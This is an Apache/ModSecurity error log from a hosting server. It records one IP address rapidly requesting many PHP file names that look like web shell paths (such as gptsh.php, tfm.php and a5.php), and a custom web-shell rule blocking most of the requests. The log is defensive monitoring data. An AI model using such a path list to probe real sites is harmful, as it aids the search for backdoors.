[Sat Apr 11 02:43:06.345125 2026] [:error] [pid 21706:tid 21726] [client 4.245.205.135:58598] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "adlEuiGQ1M5d8fQSsLHWSwAAABI"]
[Sat Apr 11 02:43:06.897318 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:52989] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "adlEuoiz5v_ljZxkpR_mdAAAAQg"]
[Sat Apr 11 02:43:07.420577 2026] [:error] [pid 55451:tid 55456] [client 4.245.205.135:59274] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "adlEu3ApxuyB7yCS5RkwIAAAAMM"]
[Sat Apr 11 02:43:08.133728 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:65257] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "adlEvIiz5v_ljZxkpR_meAAAAQs"]
[Sat Apr 11 02:43:08.851400 2026] [:error] [pid 21569:tid 21646] [client 4.245.205.135:53923] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "adlEvHAvQTgvXJ6vHoqwkwAAAIE"]
[Sat Apr 11 02:43:09.395549 2026] [:error] [pid 21569:tid 21659] [client 4.245.205.135:57395] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "adlEvXAvQTgvXJ6vHoqwmAAAAI0"]
[Sat Apr 11 02:43:09.973676 2026] [:error] [pid 21569:tid 21662] [client 4.245.205.135:63460] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "adlEvXAvQTgvXJ6vHoqwnAAAAI8"]
[Sat Apr 11 02:43:10.604534 2026] [:error] [pid 55451:tid 55476] [client 4.245.205.135:37264] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "adlEvnApxuyB7yCS5RkwLgAAANc"]
[Sat Apr 11 02:43:11.146350 2026] [:error] [pid 21569:tid 21646] [client 4.245.205.135:36006] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "adlEv3AvQTgvXJ6vHoqwowAAAIE"]
[Sat Apr 11 02:43:11.718835 2026] [:error] [pid 21569:tid 21659] [client 4.245.205.135:53906] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "adlEv3AvQTgvXJ6vHoqwpwAAAI0"]
[Sat Apr 11 02:43:12.345592 2026] [:error] [pid 21568:tid 21579] [client 4.245.205.135:37258] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "adlEwIiz5v_ljZxkpR_mhgAAAQc"]
[Sat Apr 11 02:43:13.370358 2026] [:error] [pid 21570:tid 21692] [client 4.245.205.135:36021] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "adlEwTKs5t9xRSNL6cnfigAAAFI"]
[Sat Apr 11 02:43:13.908712 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:49655] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "adlEwXApxuyB7yCS5RkwRwAAANE"]
[Sat Apr 11 02:43:14.448356 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:35968] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "adlEwiGQ1M5d8fQSsLHWhAAAAAQ"]
[Sat Apr 11 02:43:15.071119 2026] [:error] [pid 21706:tid 21716] [client 4.245.205.135:53889] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "adlEwyGQ1M5d8fQSsLHWjAAAAAg"]
[Sat Apr 11 02:43:15.682373 2026] [:error] [pid 21706:tid 21724] [client 4.245.205.135:58568] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlEwyGQ1M5d8fQSsLHWkgAAABA"]
[Sat Apr 11 02:43:16.564110 2026] [:error] [pid 21570:tid 21688] [client 4.245.205.135:62118] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlExDKs5t9xRSNL6cnfkAAAAE4"]
[Sat Apr 11 02:43:17.161797 2026] [:error] [pid 21569:tid 21651] [client 4.245.205.135:60262] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlExXAvQTgvXJ6vHoqwswAAAIY"]
[Sat Apr 11 02:43:17.900128 2026] [:error] [pid 21570:tid 21682] [client 4.245.205.135:52931] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adlExTKs5t9xRSNL6cnflQAAAEs"]
[Sat Apr 11 02:43:18.515813 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:65268] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "adlExiGQ1M5d8fQSsLHWuAAAAA8"]
[Sat Apr 11 02:43:19.058497 2026] [:error] [pid 21570:tid 21685] [client 4.245.205.135:36022] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "adlExzKs5t9xRSNL6cnfnQAAAEw"]
[Sat Apr 11 02:43:19.724141 2026] [:error] [pid 21570:tid 21677] [client 4.245.205.135:35972] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "adlExzKs5t9xRSNL6cnfnwAAAEg"]
[Sat Apr 11 02:43:21.668786 2026] [:error] [pid 21569:tid 21653] [client 4.245.205.135:52977] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "adlEyXAvQTgvXJ6vHoqwvQAAAIg"]
[Sat Apr 11 02:43:22.705978 2026] [:error] [pid 21568:tid 21577] [client 4.245.205.135:36015] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adlEyoiz5v_ljZxkpR_mqwAAAQU"]
[Sat Apr 11 02:43:23.327968 2026] [:error] [pid 21706:tid 21718] [client 4.245.205.135:49641] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adlEyyGQ1M5d8fQSsLHWzgAAAAo"]
[Sat Apr 11 02:43:23.915955 2026] [:error] [pid 21706:tid 21722] [client 4.245.205.135:57387] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adlEyyGQ1M5d8fQSsLHW0gAAAA4"]
[Sat Apr 11 02:43:24.610115 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:62139] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "adlEzCGQ1M5d8fQSsLHW2AAAAAk"]
[Sat Apr 11 02:43:25.244431 2026] [:error] [pid 21568:tid 21582] [client 4.245.205.135:53925] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "adlEzYiz5v_ljZxkpR_muAAAAQo"]
[Sat Apr 11 02:43:25.907589 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:52956] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "adlEzYiz5v_ljZxkpR_mugAAAQs"]
[Sat Apr 11 02:43:26.775702 2026] [:error] [pid 21706:tid 21720] [client 4.245.205.135:62122] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "adlEziGQ1M5d8fQSsLHW5AAAAAw"]
[Sat Apr 11 02:43:27.642002 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:53932] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "adlEz3ApxuyB7yCS5RkwvAAAAMI"]
[Sat Apr 11 02:43:28.475432 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:49621] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "adlE0CGQ1M5d8fQSsLHW8QAAAAI"]
[Sat Apr 11 02:43:29.152999 2026] [:error] [pid 21706:tid 21719] [client 4.245.205.135:52963] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "adlE0SGQ1M5d8fQSsLHW9wAAAAs"]
[Sat Apr 11 02:43:29.899420 2026] [:error] [pid 55451:tid 55463] [client 4.245.205.135:60861] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "adlE0XApxuyB7yCS5Rkw2AAAAMo"]
[Sat Apr 11 02:43:30.542439 2026] [:error] [pid 21570:tid 21687] [client 4.245.205.135:57346] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "adlE0jKs5t9xRSNL6cnftQAAAE0"]
[Sat Apr 11 02:43:31.043781 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:65263] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adlE0yGQ1M5d8fQSsLHXDQAAABg"]
[Sat Apr 11 02:43:31.707465 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:65241] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adlE0yGQ1M5d8fQSsLHXEwAAABY"]
[Sat Apr 11 02:43:32.261112 2026] [:error] [pid 21706:tid 21721] [client 4.245.205.135:65238] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adlE1CGQ1M5d8fQSsLHXFwAAAA0"]
[Sat Apr 11 02:43:32.795149 2026] [:error] [pid 21569:tid 21648] [client 4.245.205.135:53946] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "adlE1HAvQTgvXJ6vHoqw3AAAAIM"]
[Sat Apr 11 02:43:33.417755 2026] [:error] [pid 55451:tid 55464] [client 4.245.205.135:61517] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adlE1XApxuyB7yCS5Rkw8QAAAMs"]
[Sat Apr 11 02:43:34.067687 2026] [:error] [pid 21706:tid 21711] [client 4.245.205.135:65277] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adlE1iGQ1M5d8fQSsLHXJwAAAAM"]
[Sat Apr 11 02:43:34.626985 2026] [:error] [pid 21568:tid 21595] [client 4.245.205.135:53905] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adlE1oiz5v_ljZxkpR_m2gAAARc"]
[Sat Apr 11 02:43:35.192788 2026] [:error] [pid 21570:tid 21692] [client 4.245.205.135:53918] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "adlE1zKs5t9xRSNL6cnfvAAAAFI"]
[Sat Apr 11 02:43:35.730230 2026] [:error] [pid 21706:tid 21716] [client 4.245.205.135:63481] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adlE1yGQ1M5d8fQSsLHXNwAAAAg"]
[Sat Apr 11 02:43:36.329085 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:52928] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adlE2CGQ1M5d8fQSsLHXQQAAAAY"]
[Sat Apr 11 02:43:36.864352 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:43477] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adlE2CGQ1M5d8fQSsLHXSQAAABg"]
[Sat Apr 11 02:43:37.390485 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:44271] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "adlE2XApxuyB7yCS5RkxCQAAAMI"]
[Sat Apr 11 02:43:37.968871 2026] [:error] [pid 55451:tid 55454] [client 4.245.205.135:35969] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "adlE2XApxuyB7yCS5RkxDgAAAME"]
[Sat Apr 11 02:43:38.609384 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Sat Apr 11 02:43:38.867946 2026] [:error] [pid 21706:tid 21724] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sat Apr 11 02:43:39.122541 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Sat Apr 11 02:43:39.418911 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sat Apr 11 02:43:39.813589 2026] [:error] [pid 21706:tid 21729] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Sat Apr 11 02:43:40.064313 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Sat Apr 11 02:43:40.313536 2026] [:error] [pid 21706:tid 21718] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Sat Apr 11 02:43:40.563089 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/mI35rZhMg1zJ1vuXdefault.php
[Sat Apr 11 02:43:40.828318 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Sat Apr 11 02:43:41.095295 2026] [:error] [pid 21706:tid 21722] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/ogifomnzqnlvwh5womfjirvaCdefault.php
[Sat Apr 11 02:43:41.427863 2026] [:error] [pid 21706:tid 21720] [client 4.245.205.135:58924] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Sat Apr 11 02:43:41.683728 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:58924] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlE3SGQ1M5d8fQSsLHXbgAAABc"]
[Sat Apr 11 02:43:42.278198 2026] [:error] [pid 21706:tid 21715] [client 4.245.205.135:58572] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlE3iGQ1M5d8fQSsLHXdAAAAAc"]
[Sat Apr 11 02:43:42.873005 2026] [:error] [pid 21568:tid 21587] [client 4.245.205.135:46369] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlE3oiz5v_ljZxkpR_m9QAAAQ8"]
